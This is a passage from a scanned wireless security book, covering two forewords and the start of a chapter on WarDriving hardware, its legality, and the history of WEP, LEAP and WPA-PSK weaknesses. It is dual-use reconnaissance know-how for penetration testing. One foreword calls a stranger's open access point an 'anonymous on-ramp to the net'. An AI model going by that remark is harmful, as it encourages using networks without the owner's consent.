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Foreword

“Today | discovered the world’s largest hot spot; the SSID is
‘linksys.""

If you've ever exchanged e-mail with me, you might have noticed this signature
at the bottom of my message. When I first thought of this quip, I thought it
was funny, so I put it in my e-mail signature. As time went on however, I came
to appreciate the subtle implications of this tagline—specifically, that most
people do not take sufficient precautions to secure their wireless networks.

[ take great enjoyment in my work in the information security field. When
it comes to wireless networks, the challenge for me is that we have removed
the most significant security measure that protects any asset: physical security.
Without physical security, anyone can walk in off the street and take a laptop,
thumb drive, or sensitive printout and calmly walk away. When I was studying
for the CISSP exam, I learned that it was necessary to deploy an eight-foot,
chain-link, barbed-wire-topped fence to deter an attacker. In a wireless net-
work, attackers need only the right antenna (Chapter 2), and they might as well
be sitting in your office.

I have been lucky enough to have met and gotten to know many of the
people who have helped influence wireless security through the free software
community. Through their own selfless dedication and commitment, many of
these people have written tools that have helped organizations audit and ana-
lyze weaknesses in their wireless networks. For example, Mike Kershaw has
generously made the tremendously powerful Kismet project an open-source
tool that is immensely valuable for assessing wireless networks on Linux systems
(Chapter 5). Marius Milner continues to add features to the popular
NetStumbler tool to offer Windows users a wireless analysis tool (Chapter 4),

XXiil



Foreword

while Geoftrey Kruse and Michael Rossberg have satisfied the needs of the
Mac OS X population with Kismac (Chapter 6).

From an enterprise-security perspective, wardriving and penetration testing
are necessary components of securing wireless networks. It’s not uncommon to
discover misconfigured access points in large enterprise deployments that
expose the internal network to unauthorized users. It’s also not unusual to
identify rogue access points that expose the network as a result of the uninten-
tional actions of a clueless user or the malicious actions of a clever attacker.
Using WarDriving techniques and freely available tools on a mobile platform
such as a personal digital assistant, or PDA (Chapter 3), organizations can assess
their exposure and locate misconfigured or rogue devices before they can be
used to exploit the network.

From an industry perspective, the information collected from WarDriving
efforts has been immensely valuable in identifying the need for a simple mech-
anism for securing wireless networks. At the time of this writing, the Wigle.net
database (Chapter 8) indicates that fewer than 50 percent of reported wireless
networks use even the basic WEP encryption mechanism for security. This
finding clearly illustrates that many organizations and home users are not taking
the time to secure their wireless networks, and this information has prompted
standards bodies such as the WiFi Alliance to develop simple, interoperable
mechanisms that facilitate the protection of WLANS. I credit the activities of
WarDrivers as having a significant role in this industry advancement.

Even experienced wireless security analysts can benefit from the content in
this book. For example, many organizations are deploying wireless cameras to
improve physical security (while destroying any shred of wireless security in the
process). More than just searching for the ever-elusive shower cam (personally, I
don’t want to see what goes in on people’s showers), attackers are looking to
discover and exploit these unprotected video feeds. I met one researcher who
summed up the problems of wireless cameras nicely for me when referring to a
wireless camera in a bank:“... if someone wanted to rob the place, all they
would need to do is override the signal, and they would never be caught on
tape.” Identifying and assessing the exposure of these wireless cameras should
be part of any wireless audit or vulnerability assessment (Chapter 11).

In this book, five recognized experts in the wireless security field have
assembled a guide to help you learn how to analyze wireless networks through
WarDriving and penetration testing. Each expert has contributed material that
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matches his or her strengths with various operating systems and techniques
used to analyze wireless networks. The result is a powerful guide to assessing
wireless networks while leveraging these free tools with low-cost supporting
hardware.

The exploration of wireless networks 1s more than a hobby for these
authors; it’s a passion. After you read this book and get a taste for WarDriving, I
think you’ll feel the same way. I thank these industry experts for their hard
work in producing this book and contributing to improving the state of wire-

less security.
—Joshua Wright

Senior Security Researcher
Aruba Networks

WWW.syngress.com






Foreword v 1.0

Jett Moss’s Foreword from the first edition of
WarDriving: Drive, Detect,
Defend A Guide to Wireless Security

When I was thirteen years old and my father got an IBM PC-2 (the one with
640k!) at a company discount, my obsession with computers and computer
security began. Back then the name of the game was dial-up networking. 300-
baud modems with “auto dial” were in hot demand! This meant that you didn’t
have to manually dial anymore!

You could see where this was going. It would be possible to have your
computer dial all the phone numbers in your prefix looking for other systems it
could connect to. This was a great way to see what was going on in your
calling area, because seeing what was going on in long distance calling areas was
just too expensive!

When the movie “War Games” came out, it exposed War Dialing to the
public, and soon after it seemed everyone was dialing up a storm. The secret
was out, and the old timers were complaining that the newbies had ruined it for
everyone. How could a self-respecting hacker explore the phone lines if
everyone else was doing the same thing? Programs like ToneLoc, Scan, and
PhoneTag became popular on the IBM PC with some that allowed dialing sev-
eral modems at one time to speed things up. Certain programs could even print
graphical representations of each prefix, showing what numbers were fax
machines, computers, people, or even what phone numbers never answered.
One friend of mine covered his walls with print outs of every local calling area
he could find in Los Angeles, and all the 1-800 toll free numbers! In response,
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system operators who were getting scanned struck back with Caller ID verifi-
cation for people wanting to connect to their systems, automatic call-back, and
modems that were only turned on during certain times of the day.

War Dialing came onto the scene again when Peter Shipley wrote about his
experiences dialing the San Francisco bay area over a period of years. It made
for a good article, and attracted some people away from the Internet, and back
to the old-school ways of war dialing. What was old was now new again.

Then, along came the Internet, and people applied the concept of war
dialing to port scanning. Because of the nature of TCP and IPV4 and IPV6
address space, port scanning is much more time consuming, but is essentially
still the same idea. These new school hackers, who grew up on the Internet,
couldn’t care less about the old way of doing things. They were forging ahead
with their own new techniques for mass scanning parts of the Internet looking
for new systems that might allow for exploration.

System operators, now being scanned by people all over the planet (not just
those people in their own calling region) struck back with port scan detection
tools, which limited connections from certain IP addresses, and required VPN
connections. The pool of people who could now scan you had grown as large
as possible! The battle never ceases.

Once wireless cards and hubs got cheap enough, people started plugging
them in like crazy all over the country. Everyone from college students to large
companies wanted to free themselves of wires, and they were happy to adopt
the new 802.11, or WiFi, wireless standards. Next thing you knew it was pos-
sible to accidentally, or intentionally, connect to someone else’s wireless access
point to get on their network. Hacker’s loved this, because unlike telephone
wires that you must physically connect to in order to communicate or scan,
WiFi allows you to passively listen in to communications with little chance of
detection. These are the origins of WarDriving.

[ find War Driving cool because it combines a bit of the old school world
of dial up; with the way things are now done on the net.You can only connect
to machines that you can pick up, much like only being able to War Dial for
systems in your local calling area. To make WarDriving easier, people developed
better antennas, better WiFi1 scanning programs, and more powerful methods of
mapping and recording the systems they detected. Instead of covering your
walls with tone maps from your modem, you can now cover your walls with
GPS maps of where you have located wireless access points.
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Unlike the old school way of just scanning to explore, the new WiFi way
allows you to go a step further. Many people intentionally leave their access
points “open,” thus allowing anyone who wants to connect through them to
the Internet. While popular at some smaller cafes (i.e., Not Starbucks) people
do this as all over the world. Find one of these open access pints, and it could
be your anonymous on-ramp to the net. And, by running an open access point
you could contribute to the overall connectedness of your community.

Maybe this is what drives the Dialers and Scanners. The desire to explore
and map out previously unknown territory is a powerful motivator. I know that
is why I dialed for months, trying to find other Bulletin Board Systems that did
not advertise, or were only open to those who found it by scanning. Out of all
that effort, what did I get? I found one good BBS system, but also some long-
term friends.

When you have to drive a car and scan, you are combining automobiles
and exploration. I think most American males are programmed from birth to
enjoy both! Interested? You came to the right place. This book covers every-
thing from introductory to advanced WarDriving concepts, and is the most
comprehensive look at War Driving I have seen. It is written by the people
who both pioneered and refined the field. The lead author, Chris Hurley, orga-
nizes the WorldWide WarDrive, as well as the WarDriving contest at DEF CON
each year. His knowledge in applied War Driving is extensive.

As War Driving has moved out of the darkness and into the light, people
have invented WarChalking to publicly mark networks that have been discov-
ered. McDonalds and Starbucks use WiFi to entice customers into their estab-
lishments, and hackers in the desert using a home made antenna have extended
its range from hundreds of feet to over 20 miles! While that is a highly geek-
tastic thing to do, demonstrates that enough people have adopted a wireless
lifestyle that this technology is here to stay. If a technology is here to stay, then
1sn’t it our job to take it apart, see how it works, and generally hack it up? I
don’t know about you, but I like to peek under the hood of my car.

—Jeff Moss
Black Hat, Inc.

www.blackhat.com

Seattle, 2004
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Chapter 1 ¢ Introduction to WarDriving and Penetration Testing

Introduction

Wireless networking is one of the most popular and fastest growing technologies on
the market today. From home networks to enterprise-level wireless networks, people
are eager to take advantage of the freedom and convenience that wireless net-
working promises. However, while wireless networking is convenient, it is not always
deployed securely. Insecure wireless networks are found in people’s homes and in
large corporations. Because of these insecure deployments, penetration testers are
often called in to determine what the security posture of an organization’s wireless
network is, or to verify that a company has deployed its wireless network in a secure
tashion. In this chapter, we discuss WarDriving and how it applies to a wireless pene-
tration test.

Later in this chapter, you will gain a basic understanding of the principles of per-
forming a penetration test on a wireless network. You will learn the history of wire-
less security and the vulnerabilities that plague it. Additionally, you will begin to
understand the difference between performing a penetration test on a wireless net-
work vs. a wired network, and some of the stumbling blocks you will need to over-
come. Next, you will gain a basic understanding of the different types of attacks that
you are likely to use. Finally, you will put together a basic tool kit for wireless pene-
tration tests.

WarDriving

Before you begin WarDriving, it is important to understand what it is and, more
importantly, what it is not. It is also important to understand some of the termi-
nology associated with WarDriving. In order to successfully WarDrive, you need cer-
tain hardware and software tools. Since there are hundreds of possible configurations
that can be used for WarDriving, some of the most popular are presented to help
you decide what to buy for your own initial WarDriving setup.

Many of the tools that a WarDriver uses are the same tools that an attacker uses
to gain unauthorized access to a wireless network. These are also the tools that you
will use during your wireless penetration tests.

WarDriving has the potential to make a difference in the overall security posture
of wireless networking. By understanding WarDriving, obtaining the proper tools,
and then using them ethically, you can make a difference in your overall security.
First, let’s look at where WarDriving comes from and what it means.
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The Origins of WarDriving

WarDriving is misunderstood by many people; both the general public and the news
media. Because the name “WarDriving” sounds ominous, many people associate
WarDriving with criminal activity. Before discussing how to WarDrive, you need to
understand the history of WarDriving and the origin of the name. The facts neces-
sary to comprehend the truth about WarDriving are also provided.

Definition

WarDriving is the act of moving around a specific area, mapping the population of
wireless access points for statistical purposes. These statistics are then used to raise
awareness of the security problems associated with these types of networks (typically
wireless). The commonly accepted definition of WarDriving is that it is not exclusive
of surveillance and research by automobile. WarDriving is accomplished by anyone
moving around a certain area looking for data, which includes: walking, which is
often referred to as WarWalking; flying, which is often referred to as WarFlying;
bicycling, and so forth. WarDriving does not utilize the resources of any wireless
access point or network that is discovered, without prior authorization of the owner.

The Terminology History of WarDriving

The term WarDriving comes from “WarDialing,” a term that was introduced to the
general public by Matthew Broderick’s character, David Lightman, in the 1983
movie, WarGames. WarDialing is the practice of using a modem attached to a com-
puter to dial an entire exchange of telephone numbers sequentially (e.g., 555-1111,
555-1112, and so forth) to locate any computers with modems attached to them.

Essentially, WarDriving employs the same concept, although it is updated to a
more current technology: wireless networks. A WarDriver drives around an area,
often after mapping out a route first, to determine all of the wireless access points in
that area. Once these access points are discovered, a WarDriver uses a software pro-
gram or Web site to map the results of his or her efforts. Based on these results, a
statistical analysis is performed. This statistical analysis can be of one drive, one area,
or a general overview of all wireless networks.

The concept of driving around discovering wireless networks probably began
the day after the first wireless access point was deployed. However, WarDriving
became more well-known when the process was automated by Peter Shipley, a com-
puter security consultant in Berkeley, California. During the fall of 2000, Shipley
conducted an 18-month survey of wireless networks in Berkeley, California and
reported his results at the annual DefCon hacker conference in July 2001. This pre-
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4 Chapter 1 ¢ Introduction to WarDriving and Penetration Testing

sentation, designed to raise awareness of the insecurity of wireless networks that were
deployed at that time, laid the groundwork for the “true” WarDriver.

WarDriving Misconceptions

Some people confuse the terms WarDriver and hacker. The term” hacker” was origi-
nally used to describe a person that could modify a computer to suit his or her own
purposes. However, over time and owing to the confusion of the masses and consis-
tent media abuse, the term hacker is now commonly used to describe a criminal;
someone that accesses a computer or network without owner authorization. The
same situation can be applied to the term WarDriver. WarDriver has been used to
describe someone that accesses wireless networks without owner authorization. An
individual that accesses a computer system (wired or wireless) without authorization,
is a criminal. Criminality has nothing to do with hacking or WarDriving.

In an eftort to generate ratings and increase viewership, the news media, has sen-
sationalized WarDriving. Almost every local television news outlet has done a story
on “wireless hackers armed with laptops” or “drive-by hackers” that are reading your
e-mail or using your wireless network to surf the Web. These stories are geared to
propagate fear, uncertainty, and doubt (FUD). FUD stories are usually small risk, and
attempt to elevate the seriousness of a situation in the minds of their audience.
Stories that prey on fear are good for ratings, but they don’t always depict an activity
accurately.

An unfortunate side effect of these stories is that reporters invariably ask
WarDrivers to gather information that is being transmitted across a wireless network
so that the “victim” can see all of the information that was collected. Again, this has
nothing to do with WarDriving, and while this activity (known as sniffing) in and of
itself is not illegal, at a minimum it is unethical and is not a practice that WarDrivers
engage 1in.

These stories also tend to focus on gimmicky aspects of WarDriving such as the
directional antenna that can be made using a Pringles can. While a functional
antenna can be made from Pringles cans, coftee cans, soup cans, or pretty much any-
thing cylindrical and hollow, the reality is that very few (if any) WarDrivers actually
use these for WarDriving. Many of them make these antennas in an attempt to verify
the original concept and improve upon it in some instances.

The Truth about WarDriving

The reality of WarDriving is simple. Computer security professionals, hobbyists, and
others are generally interested in providing information to the public about the
security vulnerabilities that are present with “out-of-the-box” configurations of
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wireless access points. Wireless access points purchased at a local electronics or com-
puter store are not geared toward security; they are designed so that a person with
little or no understanding of networking can purchase a wireless access point, set it
up, and use it.

Computers are a staple of everyday life. Technology that makes using computers
easier and more fun needs to be available to everyone. Companies such as Linksys
and D-Link have been very successful at making these new technologies easy for
end users to set up and use. To do otherwise would alienate a large part of their
target market. (See Chapter 10 for a step-by-step guide to enabling the built-in
security features of these access points.)

The Legality of WarDriving

According to the Federal Bureau of Investigation (FBI), it is not illegal to scan access
points; however, once a theft of service, a denial of service (DoS), or a theft of infor-
mation occurs, it becomes a federal violation through 18USC 1030 (www.usdoj.gov/
criminal /cybercrime/1030_new.html). While this is good, general information, any ques-
tions about the legality of a specific act in the U.S. should be posed directly to either
the local FBI field office, a cyber-crime attorney, or the U.S. Attorney’s office. This
information only applies to the U.S. WarDrivers are encouraged to investigate the
local laws where they live to ensure that they aren’t inadvertently violating them.
Understanding the distinction between “scanning’ and identifying wireless access
points, and actually using the access point, is the same as understanding the difter-
ence between WarDriving (a legal activity) and theft, (an illegal activity).

Tools of the Trade or “What Do | Need?”

This section introduces you to the tools that are required to successfully WarDrive.
There are several different configurations that can be effectively used for
WarDriving, including:

®  Obtaining the hardware

®  Choosing a wireless network card

B Deciding on an external antenna

m  Connecting your antenna to your wireless NIC

The following sections discuss potential equipment acquisitions and common
configurations for each.
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Getting the Hardware

You will need some form of hardware to use with your WarDriving equipment.
There are two primary setups that WarDrivers utilize:

m  Laptop

®m  Personal Digital Assistant (PDA) or handheld setup

The Laptop Setup
The most commonly used WarDriving setup utilizes a laptop computer. To
WarDrive with a laptop, you need several pieces of hardware (each discussed in detail
in this chapter) and at least one WarDriving software program. A successful laptop
WarDriving setup includes:

® A laptop computer

m A wireless network interface card (NIC) Card

B An external antenna

®m A pigtail to connect the external antenna to the wireless NIC

® A handheld global positioning system (GPS) unit

m A GPS data cable

® A WarDriving software program

®m A cigarette lighter or AC adapter power inverter

Because most of the commonly used WarDriving software is not resource-inten-

sive, the laptop can be an older model. If you decide to use a laptop computer to
WarDrive, you need to determine what type of WarDriving software you want to
use (e.g., on a Linux environment, or on a Microsoft Windows environment).
Because NetStumbler only works in Windows environments (and Kismet only runs

on Linux), your choice of software is limited. A typical laptop WarDriving setup is
shown in Figure 1.1.
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Figure 1.1 Typical Laptop Computer WarDriving Setup

e

The PDA or Handheld Setup

PDAs are the perfect accessory for WarDrivers, because they are highly portable. The
Compaq iPAQ (see Figure 1.2) or any number of other PDAs that utilize the ARM,
MIPS, or SH3 processor, can be utilized with common WarDriving software packages.

Figure 1.2 Typical PDA WarDriving Setup
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As with the laptop setup, the PDA setup requires additional equipment in order
to be successful:

® A PDA with a data cable

B A wireless NIC Card

B An external antenna

B A pigtail to connect the external antenna to the wireless NIC
® A handheld GPS unit

m A GPS data cable

B A null modem connector

® A WarDriving software program

Similar to the laptop configuration, the software package you choose will aftect
your choice of PDA. MiniStumbler, the PDA version of NetStumbler, works on
PDAs that utilize the Microsoft Pocket PC operating system. The HP/Compaq
iPAQ is one of the more popular PDAs among WarDrivers that prefer
MiniStumbler. WarDrivers that prefer to use a PDA port of Kismet are likely to
choose the Sharp Zaurus, since it runs a PDA version of Linux. There are also
Kismet packages that have been specifically designed for use on the Zaurus. (See
Chapter 3 of this book for more information on WarDriving and penetration testing
using handheld devices.)

Choosing a Wireless NIC

Now that you have chosen either a laptop or a PDA to use while WarDriving, you
need to determine which wireless NIC card to use.

An 802.11b or 802.11g card is likely to be your choice. Although 802.11g net-
works are widely deployed, 802.11b cards are the easiest to set up and the most
commonly supported cards with most WarDriving software. As a general rule,
802.11a (or any 802.11a/b/g combo) cards are not recommended for WarDriving,
because 802.11a was broken into three distinct frequency ranges: Unlicensed
National Information Infrastructure (UNII)1, UNII2, and UNII3. Under Federal
Communications Commission (FCC) regulations, UNII1 cannot have removable
antennas. Although UNII2 and UNII3 are allowed to have removable antennas, most
802.11a cards utilize both UNII1 and UNII2. Because UNII1 is utilized, removable
antennas are not an option for these cards in the U.S.

When Kismet and NetStumbler were first introduced, there were two primary
chipsets available on wireless NICs: Hermes and Prism2. Although there are many
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other chipsets available now, most WarDriving software is designed for use with one
of these two chipsets, although both also support others. As a general rule,
NetStumbler works with cards based on the Hermes chipset. Kismet, on the other
hand, has support for a wide array of chipsets, with some configuration required.
This is not a hard and fast rule; some Prism2 cards will work under NetStumbler in
certain configurations, however, they are not ofticially supported.

Types of Wireless NICs

In order to WarDrive, you need a wireless NIC. Before purchasing a wireless card,
you should determine the software and configuration you plan to use. NetStumbler
offers the easiest configuration for cards based on the Hermes chipset (e.g.,
ORINOCO cards). NetStumbler ofters support for the following cards:

®  Lucent Technologies Wave LAN/IEEE (Agere ORINOCO)
®  Dell TrueMobile 1150 Series

B Avaya Wireless PC Card

®m  Toshiba Wireless LAN Card

m  Compaq WL110

®m  Cabletron/Enterasys Roamabout

m  Elsa Airlancer MC-11

®  ARtem ComCard 11Mbps

m  IBM High Rate Wireless LAN PC Card

B IstWave 1ST-PC-DSS11IS, DSS111IG, DSS11ES, DSS11EG

Some Prism2-based cards will work under Windows XP; however, they aren’t
officially supported and don’t provide accurate signal strength data.
Kismet works with a wide array of cards and chipsets, including:

m Cisco

B Prism 2

m  Hermes

. AIRPORT
B ACX100

m  Intel/Centrino

m  Atheros
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To maximize your results, you want a card with an external antenna connector
(see Figure 1.3) that will allow you to extend the range of your card by attaching a

stronger antenna to your WarDriving setup.

Figure 1.3 ORINOCO External Antenna Connector

Many WarDrivers prefer the ORINOCO Gold 802.11b card produced by Agere
(see Figure 1.4), because it is compatible with both Kismet and NetStumbler and
because it has an external antenna connector. This card is now produced by Proxim
and no longer uses the Hermes chipset, nor does it have an external antenna con-
nector. The Hermes-based card is still available; however, it is now marketed as the

“ORINOCO Gold Classic.”

Figure 1.4 ORINOCO Gold Card

Lucent Technologies

| 11 Mbit/s
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The ORINOCO is still the card of choice if you plan to use NetStumbler for
‘WarDriving.

Other Cards

The Prism2-based Senao NL2511CD Plus EXT2 200mw card has distinguished
itself as possibly the best all-around card for WarDriving if you plan to use Kismet-
or other Linux-based WarDriving software. In addition to the strong 200mw signal
strength, the Senao card (see Figure 1.5) has two external antenna jacks. Also, since it
1s based on the Prism?2 chipset, it can be used with both the wlan-ng drivers and the
versatile HostAP drivers.

Figure 1.5 Senao NL2511CD Plus EXT2 Card

The “store bought” cards that you find at most major retailers (Linksys, Smart
Media Card (SMC), and so forth) are generally not good to use while WarDriving,
because they do not have external antenna connectors.

A slightly out-of-date, but still useful listing of wireless NICs and the chipsets
they use, was put together by Seattle Wireless and can be found at: www.seattlewire-
less.net /index.cgi/Hardware Comparison.

External Antennas

To maximize the results of a WarDrive, an external antenna should be used. An
antenna is a device for radiating or receiving radio waves. Most wireless network
cards have a low power antenna built in. An external antenna increases the range of
the radio signal detected by the wireless network card. Many different types of
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12 Chapter 1 ¢ Introduction to WarDriving and Penetration Testing

antennas can be used with wireless NICs: parabolic antennas, directional antennas,
and omni-directional antennas are just a few. Because of their size, parabolic antennas
(see Figure 1.6) are not overly practical antennas for WarDriving.

Figure 1.6 Parabolic Antenna Isn't Good for WarDriving

Many WarDrivers use either an external omni-directional antenna or an external
directional antenna in conjunction with their wireless network card. Both of these
are available in many different sizes and signal strengths. There are many factors that
must be considered when determining what type of antenna to use. (Antenna theory
and selection are covered in detail in Chapter 2 of this book.)

Connecting Your Antenna to Your Wireless NIC

To connect your antenna to the external antenna connector on your wireless NIC,
you need the appropriate pigtail cable (see Figure 1.7). Most antennas have an N-
Type connector; however, the wireless NIC usually has a proprietary connector.
When you purchase your card, verify with either the retailer or the card manufac-
turer what type of external antenna connector is built into the card.
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Figure 1.7 Pigtail for Use with ORINOCO Cards and N-Type Barrel Connectors

Once you have identified the type of external connector your card has, you need
to purchase a pigtail that has the correct connection for your card and the correct
N-Type connector. Some antennas ship with male N-Type connectors and others
ship with female N-Type connectors. Because the pigtails are expensive (around
$30), verify whether your antenna has a male or female connector, and purchase the
opposite connection on your pigtail. This will allow you to successfully connect your
antenna to your wireless NICs external antenna connector. Since you may have
multiple antennas with both male and female N-Type connectors, it might be a
good idea to purchase barrel connectors that allow you to attach your pigtail to
either a male or a female N-Type Connector.

GPS

Most WarDrivers want to map the results of their drives, which is usually a require-
ment on wireless penetration tests. To do this, a portable GPS capable of National
Marine Electronics Association (NMEA) output is required. Some WarDriving soft-
ware supports other proprietary formats (e.g., NetStumbler supports the Garmin
format). The Garmin format “reports” your current location to your software every
second, whereas NMEA only reports your location once every two seconds. Using
the Garmin format increases the accuracy of the access point locations.
Unfortunately, Kismet (and other WarDriving software) only supports NMEA
output. Purchasing a GPS capable of NMEA output provides the flexibility to switch
between WarDriving software without requiring additional hardware.

When choosing a GPS, several factors should be considered. As mentioned ear-
lier, making sure it is capable of NMEA output is a must. It is also important to find
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out which accessories come with the GPS unit. There are several models in the
Garmin eTrex line of handheld GPSes. The base model, called the eTrex (see Figure
1.8), retails for about $120.This unit has all of the functionality required for a
WarDriver, and is capable of NMEA output. When compared to the eTrex Venture,
which retails for $150, the initial indication is to buy the cheaper model. However,
when you compare the accessories included with these two models, the Venture
includes a PC interface cable, whereas the base model doesn'’t.

Figure 1.8 Garmin eTrex Handheld GPS

You also need to determine if your laptop has a serial port. Most PC interface
cables have a serial interface. If your laptop doesn’t have a serial interface, you can
purchase a serial-to-Universal Serial Bus (USB) cable for use with your GPS. Many
of the newer GPS devices have interface cables that connect to a USB port, if you
don’t have a serial port on your laptop.

To use your GPS with a PDA, you either need a null modem connector and the
proper connection cables for your PDA, or a GPS designed specifically for use with
your PDA.

Putting It All Together

Once you have selected your WarDriving gear and understand what WarDriving is,
you are almost ready to begin.You want to identify and map out wireless access
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points, but before you can do this you need to make sure you don’t inadvertently
connect to one or more of the wireless networks you discover. Because so many
access points are set up in the default configuration, this is a real possibility.

Many wireless access points available today include a built-in cable or Digital
Subscriber Line (DSL) router to allow multiple hosts to access a single cable or DSL
modem and get to the Internet. While this combination helps end users quickly gain
access to the Internet (on both wired and wireless networks), it also increases the
potential ways that an attacker can compromise the network. This is primarily
because, in their default configurations, the wireless access point allows any card to
connect to it without requiring any configuration on the client side, and the router
has a Dynamic Host Configuration Protocol (DHCP) server enabled. The DHCP
server automatically assigns a valid Internet Protocol (IP) address to any host that
requests one. When coupled with a wireless access point that grants access to any
host, the DHCP server completes the connection process. At this point, an attacker
has complete access to all services available on the network. Although uncommon,
penetration testers occasionally run across these open business networks, which make
their job easier.

Linux software such as Kismet or AirSnort, operate in monitor mode. A device
in monitor mode sniffs all traffic without making any connections. However, to
avoid accidentally connecting to these networks when using Windows, you need to
make some simple configuration changes before you begin WarDriving. These steps
are described in the following section.

Disabling the Transmission Control
Protocol/Internet Protocol Stack in Windows

By disabling the Transmission Control Protocol/Internet Protocol (TCP/IP) stack in
Windows, your laptop will not have the functionality to connect to any network.
This is a simple process that you need to perform before each WarDrive.

1. In Windows 2000/XP, right-click on the Network Neighborhood icon
and choose Properties (see Figure 1.9).

2. This opens the “Network and Dial-Up Configurations” window. There
may be several network adapters listed here. Locate your wireless network
card and right-click on it, then choose Properties again (see Figure 1.10).
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Figure 1.9 Disabling the TCP/IP Stack (Step 1)
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Figure 1.10 Disabling the TCP/IP Stack (Step 2)
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3. This opens the “Properties” for your wireless network card. Next, remove
the check from the Internet Protocol (TCP/IP) checkbox and click
OK.The before and after views of the dialog box can be seen in Figure
1.11.
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Figure 1.11 Disabling the TCP/IP Stack (Step 3)
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Your TCP/IP stack is now disabled and your wireless network card will not be
able to connect to any network. Your WarDriving software will function perfectly,
even with TCP/IP disabled, but you will not be exposed to possible legal action by
inadvertently connecting to a network that you discover while WarDriving. When
you are ready to resume normal operations with your wireless network card, repeat
steps 1 and 2 and replace the checkmark in the Internet Protocol (TCP/IP)

checkbox and click OK.

Disabling the TCP/IP Stack on an iPAQ

Disabling the TCP/IP stack on a PDA running Windows CE or Pocket PC is not an
option. However, you can set your IP address to a non-routable, non-standard IP
address. While this won'’t absolutely guarantee that you will not connect, it reduces
the risk to be almost non-existent. This is accomplished in three easy steps.

1. Click Start | Settings and then choose the Connections Tab (see Figure

1.12).

2. Next, click the Network Adapters icon. This will bring up a listing of the
network adapters that are installed on the handheld device. Select the HP
Wireless Network Driver and click Properties (see Figure 1.13).
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Figure 1.12 Setting a Non-Standard IP Address on a Pocket PC (Step 1)
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Figure 1.13 Setting a Non-Standard IP Address on a Pocket PC (Step 2)
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3. Finally, select the Use Specific IP address radio button. In the IP address
field, set the IP address to 0.0.0.1 and the subnet mask to 255.0.0.0. Leave
the default gateway field blank. Your window should look similar to the

window shown in Figure 1.14. Once these values have been set, press OK.

After you have clicked OK, a pop-up window appears letting you know that
your settings will take effect the next time the adapter is used. Click OK and then
remove and reinsert the Personal Computer Memory Card International Association
(PCMCIA) card.You can now begin your WarDrive without worrying about inad-
vertently connecting to an access point.
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Figure 1.14 Setting a Non-Standard IP Address on a Pocket PC (Step 3)

HP Wireless Network Driver

(") Use sarver-assigned IP address
() Use specific P address

IPaddress: | 0O .0 .0 . 1

Subnetmask: (255, 0 ., 0 . 0

IP address | Mame Servers |
[
A Brief History of Wireless Security

To successtully perform a wireless penetration test, it is important to understand the

history of wireless security and the vulnerabilities that have affected wireless net-
working. Wireless networking has been plagued with vulnerabilities throughout its
short existence. Wired Equivalent Protocol (WEP) was the original security standard
utilized with wireless networks. Unfortunately, when wireless networks started
gaining popularity, researchers discovered that WEP is flawed. In their paper,
“Weaknesses in the Key Scheduling Algorithm of RC4” (www.drizzle.com/
~aboba/IEEE/rc4_ksaproc.pdf), Scott Fluhrer, Itsik Mantin, and Adi Shamir detailed
a way that attackers could potentially defeat WEP because of flaws in the way WEP
employed the underlying RC4 encryption algorithm.

Attacks based on this vulnerability (dubbed “FMS attacks” after the first initial of
the last name of the paper’s authors) started to surface shortly thereafter, and several
tools were released to automate cracking WEP keys.

In response to the problems with WEP, new security solutions were developed.
Cisco developed the Lightweight Extensible Authentication Protocol (LEAP), a pro-
prietary solution for their wireless products. WiFi Protected Access (WPA) was also
developed to be a replacement to WEP. WPA can be deployed with a Pre-Shared
Key (WPA-PSK) or with a Remote Authentication Dial-In User Server/Service
(RADIUS) server (WPA-RADIUS). The initial problems with these solutions were
that LEAP could only be deployed when using Cisco hardware and WPA was difti-
cult to deploy, particularly if Windows was not the client operating system. To this
day, WPA is still difficult to use if Windows is not the client operating system.
Although these problems existed, for a short while it appeared that security adminis-
trators could rest easy—there were secure ways to deploy wireless networks.
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Unfortunately, that was not the case. In March 2003, Joshua Wright disclosed
that LEAP was vulnerable to offline dictionary attacks, and shortly thereafter released
a tool that automated the cracking process. WPA, it turns out, was not the solution
that many hoped it would be. In November 2003, Robert Moskowitz of ISCA Labs,
detailed potential problems with WPA when deployed using a PSK in his paper,
“Weakness in Passphrase Choice in WPA Interface.” This paper detailed that when
using WPA-PSK with a short passphrase (less than 21 characters), WPA-PSK was
vulnerable to a dictionary attack. In November 2004, the first tool to automate the
attack against WPA-PSK was released to the public.

At this point there were at least three security solutions available to WLAN
administrators, but all three were broken in one way or another. The attacks against
both LEAP and WPA-PSK could be defeated using strong passphrases and avoiding
dictionary words. Additionally, WPA-RADIUS was (and is) sound. Even the attacks
against WEP weren’t as bad as initially feared. FMS attacks are based on the collec-
tion of weak Initialization Vectors (IVs). In many cases, millions or even hundreds of
millions of packets have to be collected in order to capture enough weak IVs.
Although the vulnerability was real, practical implementation of an attack was much
more difficult.

Even as the initial FMS paper was being circulated, hlkari of Dachboden labs,
detailed that a difterent attack, called “chopping,” could be accomplished. Chopping
eliminated the need for weak IVs to crack WEP; it required only unique IVs. Unique
IVs could be collected more quickly than weak IV’s, and by early 2004, tools that
automated the chopping process had been released.

Because of the weaknesses associated with WEP, WPA, and LEAP, and the fact
that automated tools have been released to help accomplish attacks against these
algorithms, penetration testers now have the ability to directly attack encrypted
WLAN:S. If WEP is used, there is a very high rate of successful penetration. If WPA
or LEAP are used, the success rate is somewhat reduced, because of the requirement
that the passphrase utilized with WPA-PSK or LEAP be included in the penetration
tester’s attack dictionary. Furthermore, there are no known attacks against WPA-
RADIUS or many of the other EAP solutions. In addition, WPA-PSK attacks are
also largely ineftective against WPA2. The remainder of this chapter focuses on how
a penetration tester can use these vulnerabilities and the tools to exploit them to
perform a penetration test on a target’s WLAN.

Penetration Testing

Before beginning a penetration test against a wireless network, it is important to
understand the vulnerabilities associated with WLANs. The 802.11 standard was
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developed as an “open” standard. In other words, when the standard was written,
ease of accessibility and connection were the primary goal; security was not a pri-
mary concern. Security mechanisms were developed almost as an afterthought.
When security isn’t engineered into a solution from the ground up, the security
solutions have historically been less than optimal. When this happens, there are often
multiple security mechanisms developed, none of which offer a robust solution. This
is the case with wireless networks as well.

Understanding WLAN Vulnerabilities

WLAN vulnerabilities can be broken down into two basic types:

®  Vulnerabilities due to poor configuration

®  Vulnerabilities due to poor encryption

Configuration problems account for many of the vulnerabilities associated with
WLAN:S. Because wireless networks are so easy to set up and deploy, they are often
deployed with either no security configuration or with completely inadequate security
protections. An open WLAN that is in default configuration requires no work on the
part of the penetration tester. Simply configuring the WLAN adapter to associate to
open networks allows access to these networks. A similar situation exists when inade-
quate security measures are employed. Since WLANSs are often deployed because of
management buy-in, the administrator simply “cloaks” the access point and/or enables
media access control (MAC) address filtering. Neither of these measures provides any
